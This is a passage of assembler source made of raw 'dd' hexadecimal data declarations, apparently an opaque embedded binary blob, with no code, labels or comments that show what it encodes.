0D8004590h, 0E3BAF642h dd 3E7A69DAh, 0FD3A2EC6h, 26091380h, 224677BEh, 0CB15CC00h dd 7C486FCAh, 604AFAAFh, 759F5028h, 0A2008BAAh, 0AC953121h dd 0B7E0729h, 0F8E3096h, 5FFDEA00h, 0F10E133Dh, 236D1547h dd 0FAA8EBE7h, 538C4069h, 14F077AFh, 0DC064DC0h, 1D78A301h dd 43CD13A0h, 86E82CD1h, 267FAEB0h, 0D8805D00h, 8FEBE301h dd 77A3002Dh, 112931A6h, 0CF483D5Eh, 91C260F4h, 0BD0271h dd 1AC807DEh, 3A0A4C6Ah, 8D863700h, 980CAAACh, 268E0104h dd 6661FFA7h, 0F3C930A2h, 3F5E4104h, 94C039DAh, 0F485095h dd 97BBFFEEh, 262AAFA0h, 0D50E0414h, 0FEB1A4B7h, 830EB003h dd 0C205D859h, 0C53B1DC7h, 0DD2D47D2h, 0A29B5h, 0A61C8024h dd 1DA198A5h, 0D4FD7517h, 56F79420h, 6AEE01A7h, 1C6B58E5h dd 0E4C0E7F1h, 417AC65Fh, 0D03C0300h, 0A4A979DEh, 1D4FD8Dh dd 0CFE48E5h, 0F7B24100h, 84F59620h, 0D8DFECF3h, 4345EB00h dd 0B65D562Fh, 5ECE09Ch, 0DCF98134h, 4998005Fh, 0C0A7DFB7h dd 602858h, 0C9149E58h, 0B8BC4E80h, 13CA0678h, 30604B88h dd 28E4972Ch, 648CA000h, 2DBFC0E8h, 0D421E3F3h, 244BC260h dd 62005DC4h, 69333606h, 947B4E71h, 65D40570h, 55909045h dd 0D81C0CBEh, 3933925Eh, 3C33F874h, 0C50D0C57h, 1A306D17h dd 8916491Eh, 0BEF79380h, 0A7FC1DBh, 8B9EFF9h, 0BA1780B0h dd 6AD4D807h, 0E701FD7Dh, 804D3BF3h, 2D4DF19h, 15498DBh dd 0EAE799Ch, 0FC47AC2Ah, 0BA001E93h, 0E9CE63ECh, 0E3EE5Bh dd 583DC660h, 0CCA2E0Bh, 82AF90A0h, 0FF019579h, 7FAA5E92h dd 7D75933h, 57DEDDD9h, 531AD7DAh, 8EEA7E77h, 0DB3C0070h dd 0DC470E5Fh, 0E8B7CB34h, 3F3CD554h, 778F7D5Eh, 9D7FB6h dd 599358C2h, 18C58160h, 181DBADBh, 70C4EE4Ch, 1A7E1FDCh dd 415B7AD4h, 0E3BB4ED4h, 6E218E97h, 201D6F1Ah, 0E5AD5B46h dd 0A4763CFAh, 14D4D70Ah, 6B7905Ch, 0DEAF1A66h, 0DCA90408h dd 0A0197840h, 0D418526Ch, 7D69FB20h, 0DFB0C087h, 0F6578A3Fh dd 54410A00h dd 0D9D70824h, 0BF20792h, 11593C4Dh, 0F8DEBB5Dh, 949E1745h dd 0AC045295h, 0D22C983Bh, 919F1810h, 9B5065C2h, 89F4DF98h dd 7DBB90C0h, 0C58FCA3h, 502CF43Ch, 9D44EE28h, 0B92284E3h dd 4FE044A5h, 16D41D00h, 0C36793D8h, 39020047h, 0C96D7936h dd 0E000E965h, 0EC7BD714h, 8422F3h, 1893269Ch, 66089A21h dd 76484E00h, 4409C5F7h, 0FDB500B2h, 0DE33CB5Bh, 3A00843Bh dd 1D51039Ah, 0FF81EF0h, 0FB5FAC29h, 807720Bh, 42E22005h dd 0D00C7FCh, 98CA7E64h, 4D66523h, 6F16F61Ch, 7983801Bh dd 123A81F0h, 0FC6025Bh, 0C0801DEEh, 12F8258h, 0F3C1A546h dd 506B8C19h, 0E7C90DA4h, 0CF00B8B2h, 0C8D08401h, 26605DFh dd 83127D6Bh, 0B8A07E2Ah, 84C654A1h, 0FB6B804h, 0DC914F8Ch dd 0A8D0E893h, 0C85059EDh, 7F4402Eh, 0C0F231BCh, 3970C85Fh dd 1AE66000h, 0A4AB963Eh, 6EE40115h, 3699F7F2h, 3003FAC4h dd 33C0CCFAh, 0A9167Bh, 0E32CD90Ah, 0B1A15534h, 7ECCB400h dd 95489DCh, 0C0F285h, 0AA8AF277h, 6A74AFD3h, 0C86CA203h dd 0C03EDA17h, 5C6EA068h, 0C7017010h, 45C2B24Fh, 0A2AC405Bh dd 0BF00E7F5h, 9A56BEDCh, 39A5A08Fh, 1900F661h, 0EB6C5F68h dd 0E0027D6h, 6B534263h, 0C054F3h, 2E0FF6A2h, 7858AA2Fh dd 64000678h, 8B3B6A50h, 3B5D2A57h, 4098EEB2h, 0C7F3923h dd 0FEF61D00h, 0DA66580Bh, 0A38000B9h, 0A576552h, 78307D97h dd 0BFF2117Bh, 8FFD01E3h, 4C79C3B0h, 33C450D6h, 5D00DF44h dd 0FB31E49Eh, 134AE9Bh, 0CEA7592Ch, 0CC614ED1h, 1417BC17h dd 800F1A2h, 31AD180Eh, 77420028h, 76B8CF5Fh, 0AF02B6A0h dd 0E92DFC87h, 0CAF860BAh, 0FA9C007Dh, 0C2A101Eh, 66EE9B26h dd 292F5200h, 47BBF83Ah, 84BC9Ah, 0A684AC9Fh, 0D7392428h dd 69910113h, 38FE49C5h, 709420h, 5CEB66C4h, 2CB4B283h dd 8822F600h, 16992AB0h, 598001Fh, 0D3595567h, 0FB482602h dd 4E830290h, 5801B4CCh, 9C121DD0h, 703E00F8h, 972086FAh dd 5099A01h, 7A5B7CF6h, 49EF6424h, 0A4124C2Fh, 5D484408h dd 3C3091E7h, 0AA29835Ch, 0AB879E36h, 0E6DB80BDh, 0F2C2035Ah dd 52C7E963h, 68BE8690h, 9039AD30h, 973F3Eh, 964FB092h dd 127CC8FDh, 0D1448400h, 802338Dh, 5DBB0048h, 0F2118893h dd 0CA023C94h, 26045C70h, 8DF6E010h, 0F6682506h, 5BB2CCA0h dd 0FB1E025Fh, 9DC179F4h, 69387F3Ch, 0A0539440h, 7A280127h dd 0D9415965h, 0CB80345Ch, 86B421Ch, 8BE0BAC0h, 92A3B0h dd 2341CFDh, 2B828F2Eh, 6D8FBE50h, 654DE400h, 88C1B8DDh dd 0EF4E3E53h, 5E9BBF00h, 0CE409073h, 0C45B9D01h, 7E0E2F22h dd 542C67DCh, 130FA094h, 123B2Bh, 5999242Fh, 0C530CCEAh dd 0A7A212Ch, 0B87E00E6h, 99E6DA4h, 55048394h, 0AF752437h dd 256B6980h, 0F29B305Bh, 1FF33C91h, 2F978500h, 0A4261493h dd 47B4138Fh, 0A014C06Ch, 0C07CB86Bh, 67615100h, 23168C02h dd 4C4300EEh, 1BBDE7ABh, 5FF4C1FCh, 6E0A3D01h, 43CA0497h dd 529024h, 0C85EF52Bh, 63318EA9h, 543DC200h, 274437EAh dd 0B758C052h, 0BD75C3E5h, 9CD07E00h, 0CA2A174Dh, 8ADF006Eh dd 0D7890D53h, 500059DEh, 0BD55F545h, 909A2C1Ch, 9D2B010Ch dd 60376CFFh, 0A8C3308Bh, 0AAC8103h, 3444D87h, 0D3EF93A0h dd 2C1CB75Bh, 0BE0033AEh, 94DE283h, 4AD400D1h, 4095CFC2h dd 0E090B564h, 0FB57C900h, 6CF1681Eh, 418200BBh, 8F141763h dd 0A49E97FFh, 5218AE1Fh, 2E3E6D26h, 7D5CF4h, 0C802E60Eh dd 0B300E79Ah, 6762E377h, 98D120EBh, 72F400E2h, 0A253F86Bh dd 4C070913h, 0C2D0786Fh, 0EE45E9D0h, 8C710076h, 0E103B2C6h dd 660032A7h, 3742D977h, 60896Dh, 0C288EB65h, 0A6E84739h dd 0AC08C524h, 73A5300h, 96A95FFh, 724EF3C0h, 0B7705CA0h dd 0C65421Eh, 0BFC0A728h, 6545662Fh, 0E0C5C04Fh, 97005270h dd 2AC3CEDh, 32E1D77Fh, 4A280B85h, 80C03F04h, 0F5938A3h dd 5164A9DEh, 20F04D67h, 5AF1EACFh, 25A4F802h, 0C030324Eh dd 7C79B040h, 73FEA3Ah, 95489D72h, 14FDC06Bh, 670036A1h dd 6EF66CDAh, 0B829E5Fh, 49C2B1CFh, 9DC3F080h, 5C0F17F9h dd 9D02097Eh, 0C0199C40h, 1CDD307Dh, 0AEE1AD85h, 92C88068h dd 93D8411h, 50B9612Ch, 0E35B2380h, 0D8AD3C2h, 0F445156h dd 0B2E0483Ch, 0FF844D00h, 25FA1C28h, 29B00395h, 0F93565E3h dd 6DE0078Dh, 0D8E690BDh, 8709A5BAh, 4034C72Ah, 1DA98094h dd 344D6888h, 11A0A0F0h, 0EDCB2C00h, 0D9109933h, 8F1702CEh dd 83FF91C1h, 4275F840h, 0EC0A4300h, 0C95ED78Ah, 26CFEA98h dd 2F76EA8h, 9CB9F1EDh, 9FCCA5h, 7E4496EDh, 0B8001C95h dd 0E9CE5FECh, 4C3EF058h, 5703945Ah, 0A931C901h, 19A09980h dd 8F007096h, 0FC432B0Ah, 279A0357h, 9B9224CCh, 0EADE8804h dd 0E4E9ADCAh, 0FE3F7600h, 69F1A059h, 67604001h, 5C7AF214h dd 0B16443D6h, 0B440D356h, 0BB579F9h, 4EAC86AAh, 88C0A4A3h dd 0F7B0CE93h, 6700E44Ah, 12589A62h, 0D26CBh, 830C392Eh dd 935BA79Ch, 9246653Ah, 0A0905FABh, 78583B79h, 0AF7612E1h dd 0C3DCD5C2h, 3AA0B1CCh, 849421D5h, 204225BDh, 1A96DA90h dd 66DC3AAFh, 7D10A800h, 0AD8C165Dh, 0A64EB100h, 5B0B332Ch dd 550D07CDh, 30523284h, 3F79B73Bh, 1AE35803h, 0A25ED477h dd 0A5AB2057h, 0F788FF14h, 0E3A7011Ch, 0B56DDCB9h, 7E88F050h dd 17D64F00h, 7787F55Eh, 0A4809DB2h, 50841443h, 787DB2B0h dd 5DE7DF00h, 0D1F0DEF8h, 0AE97006Fh, 0FC609F27h, 0E50C1855h dd 0D15D3BBEh, 358700C7h, 74C127B4h, 6B907D3Ah, 76784532h dd 4CDC7662h, 0FA3A2318h, 30D64C9Ah, 2ADE18BDh, 0C01E4BB5h dd 4F5EDDF0h, 0E53C780Fh, 0B3914EA4h, 68CCF4h, 17EC639Dh dd 29FC6FA1h, 0E94D7C00h, 0D4BCB297h, 987F61Bh, 0DE0589F0h dd 0D31F3C7Ah, 44DE8B3Eh, 0AFEB01C0h, 97598369h, 60227CA7h dd 0ABBCCF79h, 20E00525h, 81C0B380h, 673C301Bh, 2E803681h dd 89BE9500h, 909AA41Ah, 0D4E700BAh, 5DE2B454h, 3CA0D605h dd 0E0FF1962h, 77035E3Eh, 0E5F8EB2Dh, 0A848CBAEh, 60E0D861h dd 0B6DB58F5h, 9B07192Bh, 0CB3CAE26h, 0F4E680F9h, 0E42FC047h dd 271C0E7Bh, 2107F756h, 95F150DFh, 2300B5EFh, 0DA128074h dd 58B7BEC1h, 861F9AF9h, 0C08F9C17h, 0B892C3D6h, 37307A25h dd 0D25330F5h, 306606C9h, 71029597h, 0EE044BF9h, 0D6B8D700h dd 2023A485h, 0B3918C0h, 75FD1C4h, 0A6EACEAEh, 12DDB0C0h dd 0A4007619h, 9B60F03Eh, 0C8C22639h, 9D42BA29h, 22122413h dd 8B611DDh, 660D443Dh, 0C9412284h, 0D311A242h, 87A210Fh dd 7E90B9F2h, 480B6884h, 0BAD3424Eh, 8C216A24h, 10621207h dd 6689D4E1h, 3E44D508h, 40F144B6h, 4452D644h, 3F447DE9h dd 0FB42848Ah, 43082E21h, 849E9040h, 1A48CC41h, 29BF0C49h dd 0BB2284F2h, 71644C9h, 0B3C1D000h, 2631177Ch, 0A2A500F0h dd 13019D94h, 84000E04h, 0C2357381h, 787124h, 0FD21B412h dd 0CEAB3F86h, 16261472h, 0E60F0560h, 0F0340DCh, 0F5F7E5h dd 40E89D0h, 0B05BB6EDh, 0FD3CF47Fh, 56B380DEh, 7D2622B9h dd 2FAD00CEh, 0BFD7CF5Dh, 41002EBCh, 830AAC4Bh, 3C32C69Fh dd 0BE80484Fh, 0DC9C5605h, 440027B5h, 91601774h, 1616A43Ah dd 7F619Fh, 1C0B8E08h, 50921B6Dh, 0BE00867Fh, 0A498DC0h dd 0B88567Ah, 5429186Bh dd 268FC500h, 8A0167E9h, 6265AF03h, 8ECC7258h, 0D8403F87h dd 0DA28E700h, 9C7D44BFh, 6A8A0D03h, 0B833921Ch, 7D5DC08h dd 9142EAEEh, 31F1729h, 0FFD82555h, 9090CC88h, 56AADE00h dd 5CAD57BBh, 1274038Fh, 9B9782D7h, 88FC48D0h, 64558C00h dd 8A8130CAh, 6A7108h, 0DB0ED3C4h, 1DBC689Eh, 0B000E372h dd 0D2975FA4h, 0FCD13h, 73FA962h, 226DC795h, 35757B03h dd 0CAFBB1h, 240A8A10h, 41791A77h, 0B3872118h, 8B8518h dd 9903C8Ch, 0E415F7D9h, 30C94F05h, 81C711EEh, 6813E690h dd 0BC54389Bh, 1A7FB680h, 0A3E7252Ch, 553D970Ch, 0BFC0A8h dd 2237543h, 4F4A5298h, 2BB93Ah, 0DCAC2183h, 78F36Fh, 1EE3B63Bh dd 0AB5FA38Ah, 4993F100h, 0C05D305Ah, 264148E4h, 2C7BA701h dd 0C80AE1F0h, 0B103408Eh, 2130C3B0h, 8F0991E7h, 0D51DC4h dd 7A4368C1h, 0EFDD275Bh, 609DE400h, 8010E8ABh, 0B1ED09BFh dd 0F8810E4Ah, 603C47CBh, 0C500E411h, 376F362Ch, 0E01E0BBh dd 91708AD3h, 5811A00h, 0F0006876h, 3FD7CEC8h, 4C4254h dd 7DB4C2C5h, 0B3253022h, 2D001279h, 0E932C314h, 0C7C1095h dd 0A639CF5Ah, 0B100D66Ch, 8B4CE711h, 3A7D50h, 72ACEF97h dd 383F0D31h, 0B014B703h, 0B86F5D64h, 4E0D6DDh, 0B420CC17h dd 460C90C9h, 0A9185096h, 7E283F65h, 99FF3A1Fh, 0E4209CB0h dd 0E10709EAh, 966131BCh, 5E546AD0h, 5B3D02F6h, 750CFC20h dd 1FAE2740h, 0F4097490h, 8FA1DDF3h, 3EE5C323h, 30DF90F6h dd 32D39FCh, 9C9278h, 6DB2EDC6h, 0C422587Bh, 0BA88080Ch dd 9CD78A0h, 60A9F351h, 3FB30020h, 66005C5Ah, 1CD1C7BBh dd 18A99189h, 78A7E321h, 0F85C24C1h, 4D5E0714h, 16F31AB0h dd 0F9AAB8D1h, 237B0094h, 0FFB1A058h, 0C70F54F1h, 6037A432h dd 13A58B89h, 0DF840092h, 0BA1638C4h, 6F171AB7h, 7A00C05Ah dd 0A84598B4h, 0F58A003Fh, 2BBE55EAh, 0B648C6B8h, 147C00C0h dd 9BF1272Eh, 0A39A009Ch, 12080EF9h, 78007E85h, 0E7EDD841h dd 26B06EC1h, 70FCF5h, 0BC1AD0A5h, 0A800530Fh, 0B7E44A49h dd 26595A1Eh, 74C928h, 8A54817Bh, 0EF00E610h, 4A565DB8h dd 92B02A1Bh, 316000C8h, 0FAE501ADh, 7B00BDB4h, 42CF1254h dd 3DCDA4h, 52F428ABh, 0F6D409B8h, 2D6B721Ch, 0CB603840h dd 0F821C5B2h, 63B51271h, 0E90C4233h, 84806170h, 6D1F9779h dd 0A92EBD00h, 0A4DD6F32h, 4C79FFh, 2F197EB1h, 1695E624h dd 53C05503h, 98A46A70h, 1FC3F56h, 79A031C2h, 609E511Dh dd 710021CAh, 13CCEC60h, 0F4C4C0h, 0DD58989Ch, 8D6CB77Dh dd 1B01F07Bh, 0AADA4047h, 0B8800594h, 4B599286h, 651F5E52h dd 1B409F55h, 0E72911D2h, 3448036Bh, 6F9AA9F2h, 3E23A8E8h dd 9D13307Ch, 0A2004077h, 78452BDh, 699E0563h, 0C07A3FF4h dd 2BBFC30h, 2E007371h, 0A0E3FFE5h, 52915Fh, 0C221CF0Dh dd 44B2427Fh, 62413800h, 32CC07BFh, 607C0053h, 0D6EDD5C0h dd 0A100640Dh, 0F119842Fh, 7B465939h, 50B063h, 2B9623B2h dd 471C7AC1h, 9D00AFFCh, 0DBE6327Eh, 0D3F6D5h, 0AC69B027h dd 0C44EB5C0h, 0AA1BC100h, 8480CD99h, 0E0DC0020h, 465BABECh dd 21048127h, 0C893047Ch, 240FB480h, 3AD000B9h, 0CF43465Ch dd 0B513EDEAh, 0D800806Ch, 45A75814h, 7FC6001Dh, 504C2A6Dh dd 6100B3A4h, 4A5EFF02h, 0FD2B60h, 690F6291h, 0D4326B6Ch dd 0ECCB2400h, 31AA1926h, 41BB0020h, 914B695Dh, 2B009E1Bh dd 0E595B4C5h, 0F6333h, 4DAC7007h, 0FB24197Fh, 0D724100h dd 76B128D6h, 925100E7h, 19833004h, 0ED077C1Bh, 35C2C3FFh dd 0C190DCh, 75EBF01h, 30B94E8Ch, 4A82491Dh, 0EE0FD840h dd 49535B5h, 6BC4FA1h, 3CC081B4h, 0B0B020D4h, 5A5C5B00h dd 0C8CEBA64h, 3E4516D1h, 0AD1C0038h, 0F0AE81A7h, 463CB500h dd 0DA11657Fh, 92CE0BFBh, 64208968h, 67991ADEh, 65C0C748h dd 34C094EEh, 13EC63Ah, 6B6E13EBh, 0DC293D06h, 0DB00FF8Ch dd 0EFBC7040h, 0E980820h, 50A8745Dh, 519CE9C0h, 0B7002B4Ah dd 29ED119h, 0F40910h, 69BE7863h, 0E2E1D71Ch, 920DA000h dd 232B066Fh, 269900DCh, 0A4B74BB0h, 0F100B181h, 801410BEh dd 174F78h, 478DC773h, 0C23057A3h, 29D11A01h, 0AEDDBEE6h dd 0FDB9FCCh, 12C66978h, 3FD5D343h, 0A8CB03E8h, 755BB200h dd 196C8973h, 61594C42h, 82537906h, 843058F3h, 93CE30D6h dd 1F45F425h, 80DF3B12h, 4877A04Ch, 6C077DCFh, 26862EAAh dd 38A49A40h, 401F0FAFh, 164064DDh, 0F47C457Eh, 9AAB1A0Fh dd 75D6603Fh, 3A25108Bh, 608B6A77h, 9C00D44Ah, 0E79ECFEh dd 17014890h, 0CFC5ED64h, 906433D8h, 0B0A626D1h, 209D3F24h dd 8F8580EAh, 0CCF89699h, 876E9401h, 238228FDh, 106AD4h dd 9FFC22B2h, 8FC0B1F6h, 0D3E8C650h, 74ACD900h, 0AF2CD627h dd 0A4434D96h, 110C8806h, 3B004A73h, 0BD9BD6Ah, 90C9334Bh dd 4AC23EC0h, 0AB86481h, 208F1789h, 4E088BBCh, 80FA04h dd 6BAF1F56h, 0CF76AC05h, 0A26FBE00h, 49DBF006h, 0C94E0055h dd 0F888D738h, 350574EBh, 83AF8A8Bh, 0D0502D80h, 6D13000Eh dd 0C6DAF2C1h, 807BAEBCh, 40D1E600h, 0F13CCEA7h, 76F098FAh dd 0A69F002Ah, 14446494h, 3300C137h, 42491BE8h, 0CCB4D4h dd 5A9152DCh, 0DD8C5D77h, 0B52DFA00h, 389A7AA6h, 0C36628C5h dd 741C00B8h, 0FB90878Dh, 59F6F9FCh, 32686E00h, 0E1D8DEE5h dd 474D2638h, 9551000Dh, 0C5E026DCh, 5B3A3000h, 0E9C8B32Fh dd 574302EAh, 0C7F87ABEh, 0A21BB8A1h, 70D429F4h, 7DAD9D00h dd 6BF9FA73h, 4045016Ch, 732B702h, 0A5B440CBh, 0E0076AB3h dd 0C623434Eh, 491F98DAh, 0F17F7280h, 0E23ADDFDh, 2FEA28DCh dd 0F86400A8h, 0C39608A4h, 9F1C6092h, 7680D83Dh, 0DEFE4278h dd 0D4030063h, 5FA55359h, 0AE0256B6h, 468FD304h, 0EDAC1A2h dd 0FCA8EE4h, 0FE9AAD0Ah, 4794C3E1h, 0F1F4F835h, 18C08554h dd 96A23A00h, 0F6A8212h, 747E0089h, 0DEF4D33Dh, 0B00ECEFh dd 0D729DB23h, 0B0EA477Ah, 0F10600DCh, 5567528Eh, 63005ED2h dd 0E3B88912h, 1DC25E1h, 3C98AE4Eh, 601F8052h, 0AF0246E3h dd 53A9EAD8h, 32A4C140h, 0A95E0h, 0FE9D8010h, 5843736Ah dd 0F9EA8B00h, 0E91CDA16h, 0AC3F3FD1h, 0ECC228h, 738190C8h dd 0E6F0D73Ch, 0E12C4096h, 0C4D2C200h, 1F4144CDh, 4F02F633h dd 0F364B931h, 6B90D0E1h, 0DE98D40Fh, 5A639F01h, 0CCEB1CA6h dd 0B537EC40h, 27750010h, 2ED639DDh, 0D8009136h, 224AB4Ah dd 0F34727Fh, 5940C6BEh, 9DCF4D6Eh, 99A02D60h, 2E1CC70Ah dd 0F200D0BFh, 98393BE2h, 8BF600EFh, 51329A77h, 2600597Bh dd 0E50EFD48h, 7684D30h, 77D976A4h, 0B0003B96h, 0BAF29109h dd 0AD11B200h, 1A2873AAh, 0EBCB001Bh, 1F74BBE3h, 0AC002219h dd 0A8964BE9h, 0C032C3h, 499347CBh, 305E9C86h, 9E98CC00h dd 8163B0F7h, 8395487Ah, 8A18F600h, 357EC3D2h, 234AF00h dd 5AA52924h, 31EC0096h, 4BF7F5Ch, 127D51BBh, 0D8CB7428h dd 0E125DE09h, 3B9020C9h, 0EFDC4BFh, 8D548EE6h, 9E51E40h dd 0E3012CA2h, 33DBD2E4h, 0C9C84650h, 81B81FBEh, 0AF298016h dd 0FA39A906h, 89DDB8C0h, 659AB204h, 40A018D6h, 6729A6A4h dd 2500098Ah, 73ADCD7Eh, 232C88h, 495520DEh, 5221F895h dd 6F306114h, 567309E0h, 0C1A42579h, 4F3D8C40h, 0C0880E98h dd 362F4A11h dd 0DC001AB9h, 0D9D6BB46h, 0F6AFD8BDh, 0AD680A13h, 24C4E0E4h dd 0A8C50001h, 0A43F3EF0h, 621FA900h, 38DB7417h, 3A955899h dd 0CBC52D00h, 63260D6Eh, 290204EEh, 0D599B1D9h, 8DBCE003h dd 0B4D12FDh, 514483EFh, 0D1CEB788h, 21D50F00h, 908422E4h dd 0CDE3AECh, 582A8580h, 5038E48h, 62B7EE00h, 0EF7C5D73h dd 9F5903B1h, 34DC86CCh, 519E3598h, 9A00EBECh, 0D7CAAC46h dd 25D6250h, 5E7A1644h, 40C81070h, 38008974h, 30CA63C6h dd 4CDB0DDEh, 0B100672Fh, 47D54A52h, 0CE3DDAB7h, 5D28001h dd 0AB38DE9Bh, 250EB055h, 0D0806A8Ch, 0FCC407C8h, 9318700h dd 25594F82h, 4C8005E9h, 80830610h, 0E31A4A1Ch, 0FEA87700h dd 8DF5F897h, 869F2628h, 950E0288h, 38C19963h, 0F56720BFh dd 97079C78h, 0A10F7A0h, 807F86D2h, 0D9EFE2E8h, 0E7910069h dd 0BBC0647h, 4100E0D2h, 18A95E90h, 7AC12ACCh, 9D11266Eh dd 574500B0h, 60A73EC5h, 0E8D19400h, 0A07DA10Fh, 56330030h dd 0AC97044Ah, 145067A6h, 0F75C93FCh, 67E023Ch, 0E040875Fh dd 3E96D048h, 3794B951h, 0A900E0FEh, 0F9759B71h, 2300AD79h dd 6FA5DB8Fh, 0F2A79A05h, 0D01B4876h, 8C17BC58h, 325EC86h dd 7255BAF9h, 5E048868h, 335012Eh, 605DDFF0h, 7E45CC82h dd 93C8D800h, 74EEC43Ah, 20EF6043h, 568C42A0h, 3D2CBE0Eh dd 4B7C0082h, 358AC12h, 49B251ADh, 0B1988947h, 57005A5Fh dd 0A8DBC38Ch, 0E59158Eh, 889A17ADh, 51857C40h, 1128A974h dd 2300E0BBh, 98A2B1EDh, 130199h, 84830A08h, 0D6E1376Eh dd 7FABDC1Dh, 54E70940h, 9FC9CEh, 3CB534A7h, 16159A93h dd 8C758E00h, 1FC71B38h, 1E27BE4h, 0F5D73969h, 414AA7D6h dd 0D401A083h, 7B006607h, 24B7C985h, 26CD34DAh, 0DCD317h dd 5FAAEE52h, 0C10289AFh, 615740B3h, 0DF1EC026h, 63D9076Dh dd 639CF7E1h, 0D4A0C036h, 5A24D011h, 0C49A288Ch, 0BD288528h dd 0C0D26C80h, 723E0059h, 0AE523F14h, 0E000FBD3h, 7E3B7D40h dd 4CB4F3EAh, 7A0088D2h, 0FF484B41h, 6AF617B9h, 8D86EB09h dd 9790843Dh, 0DCF96490h, 98530042h, 32F32838h, 0FF003591h dd 12F59C44h, 372E81Eh, 1A317963h, 0DEC02BC7h, 6F096D19h dd 68B3CB14h, 348688h, 63CAFA88h, 4F5892DDh, 57FB1006h dd 9C82527h, 4BC6138h, 0B0E29A00h, 18C0247Fh, 0B9E9E6E3h dd 5CBE001Dh, 356EC73Bh, 7B00F05Dh, 19ABEE7Fh, 74F7D0h dd 7E1DF259h, 9A4D430Eh, 77FAD00h, 487C217Dh, 3F77D0Bh dd 397081B4h, 0B5F0C6C1h, 0A00BA3EEh, 80B9759Ah, 64F35423h dd 0C951C18Dh, 0F4F1E4D2h, 5512C33Ch, 23146A5Eh, 6FAA01E0h dd 7E59EA61h, 0D3CC2180h, 0A84432D4h, 7BDE6400h, 7EE6A6B9h dd 0CB7304EDh, 0D08A6961h, 0AE9EFD74h, 81D0823Fh, 24E926AFh dd 0CFE4DBC4h, 1D602666h, 37728BCh, 7964E6Ah, 1F880D32h dd 6E30F68Ch, 2B175093h, 74193DE5h, 21392ABEh, 0DA2D3280h dd 676C4FD3h, 0AEBFC23Ch, 893A0676h, 8F5D5855h, 0A2C09C80h dd 0DA2774A5h, 2BD90038h, 43D78E37h, 35604E82h, 0C44F41AEh dd 0DE282674h, 0C23280E8h, 0EAF8D7D9h, 0C472ECEDh, 0F54A5300h dd 8792C875h, 0A3C7007Eh, 624E3F5Dh, 9F00A6ECh, 0FFB7902Dh dd 4DD4D9h, 0BBC705FDh, 0E83D803Eh, 0F7C1C4Ch, 4E297407h dd 0D397A2A8h, 79878A0h, 5BA6EB1Eh, 0B79BC079h, 2101F03Ch dd 35DDF93Eh, 7DD82467h, 12708Ah, 8672940Fh, 1FC0F861h dd 9BF6AD00h, 0B8CC8B98h, 902B0244h, 8263E2F7h, 0E818A080h dd 8F0E471Eh, 0E3914Ah, 6E65FBBDh, 0F5EB3038h, 68865EF6h dd 469D0C00h, 0D72963ABh, 3CD8002Fh, 0D249C164h, 7D585031h dd 804188A8h, 0D016E7D8h, 8F7F3D44h, 28B8F22Ch, 0F9829D00h dd 3C40060Eh, 0A00C5BCh, 1226E63h, 8A1D1907h, 76402A41h dd 0BCE0EA18h, 0EB53002Eh, 1E77DFCh, 54006A39h, 0EDECA2D2h dd 58766EABh, 1001F15Fh, 215D9DB6h, 837AF8E0h, 7935917h dd 0FA2BC000h, 0A05B791h, 84E34CA1h, 67980180h, 0DC0FC69Fh dd 80006411h, 0EEE57B3Ch, 1756BB8h, 6DE1C5Eh, 201D8BE8h dd 0A806E4F0h, 0BD57AF56h, 52CA00ECh, 93FCD0B1h, 65282DE7h dd 0AF008042h, 0F8C76758h, 0F2A61D32h, 8C4B1Eh, 668480D4h dd 11C0EBFFh, 0A0496460h, 8226000Ch, 0DFFD0320h, 0B83955A4h dd 3D281354h, 79F820D0h, 428502BFh, 2C9F72B4h, 0E4BB80C0h dd 1ACF9600h, 0F9A2A460h, 8B30EFEFh, 11F40299h, 9B1D83FFh dd 171CC0C0h, 5FB51E00h, 0C93F5E58h, 79EA35h, 0DDEC690Bh dd 0D90CA405h, 1EAB4A00h, 70679304h, 17E51F2Ah, 7B3C0B6h dd 5A6485CDh, 90043001h, 1581C3F6h, 0D000A469h, 5DA55F17h dd 5990B046h, 0AFF1F700h, 0D2BFDA1Dh, 0ED633E2Eh, 0B13BA189h dd 0B6F94680h, 8E039F60h, 769AB53Dh, 0CDC8D853h, 974D0092h dd 398B083Ch, 0F0C0C7B0h, 30DEFE52h, 0CC6E007Bh, 3B94D8FBh dd 1B593551h, 2802347Ch, 0D6787CC0h, 0BCEE07BDh, 65EAA00Ah dd 298400CDh, 44B342ADh, 3E175C96h, 41BE640Eh, 3B4F2276h dd 0D11070h, 0C393A099h, 1D66BF7Eh, 27E66F07h, 2480CB74h dd 0F3C9902h, 0C82ED48Dh, 59396221h, 2428383Bh, 6D0087E8h dd 7057C10Eh, 0E7300766h, 0B0E3DADCh, 0CB564C4Ah, 3ABDB700h dd 8E51C7Ah, 0F13202C3h, 0B23878FDh, 0D110E0E8h, 80620F3Ch dd 7936FF80h, 89B3B5h, 0AA522D8Eh, 0EF0D8DDFh, 8A03F100h dd 4C9E72E7h, 0ADED0092h, 0F4A669BBh, 10002EC7h, 1A5A6702h dd 373A0CDh, 0CE156A78h, 2EA0DD30h, 0A865C647h, 0CCF0FB72h dd 0E09B0FECh, 7A06F036h, 6F1D916Ch, 58870BA0h, 64C38916h dd 0FE0EA844h, 0B09100C7h, 4C270822h, 852CC47Bh, 4F017B37h dd 5E8FC3EFh, 137D2C28h, 5F454D23h, 765300ACh, 0B1AFD767h dd 9675FBEEh, 3062A901h, 0BA1BA71Ch, 97383980h, 35CD6545h dd 48CA9307h, 4BC0E491h, 0FC320Fh, 556931EEh, 0D955E63h dd 38997D12h, 71C4B0h, 0E8F2D53Eh, 0C7E6E121h, 0C8A5F8EDh dd 621846FEh, 0CE910AEEh, 0C6AB043Ah, 90A93C1Ch, 7AA61ED4h dd 23F8D500h, 464C6BE2h, 0BBCFC50h, 4B557B6h, 0CE129B00h dd 0EA0009D9h, 29163DFh, 0B7ED86h, 5967645Ah, 0D7BD9FF7h dd 0D320D800h, 0B279F974h, 0C8C00ECh, 0A46B6DADh, 70B2B95Dh dd 0A02D8009h, 7C5052h, 0EBDA3F84h, 627DC4F0h, 75F15839h dd 0D2CAA1C0h, 0A0B20D3Ah, 717C5994h, 99400B52h, 88E15737h dd 217029C9h, 5D8C009Bh, 0C6FCE475h, 1FA48C0h, 0D2E3CCB4h dd 0E19100B9h, 0D169E21Fh, 8283315h, 63BF03A8h, 0C5944144h dd 555B2041h, 38700C98h, 0E6896B9h, 16805C6Fh, 771AE5F2h dd 0F09C3200h, 0C5686ABBh, 0FECA03FFh, 87FA0450h, 4402984Fh dd 58EABA41h, 0C20E368h, 19943009h, 0D00BF8FCh, 0E04CE548h dd 48995h, 3CD71902h, 0CC869339h, 2E792002h, 0A03AA7E9h dd 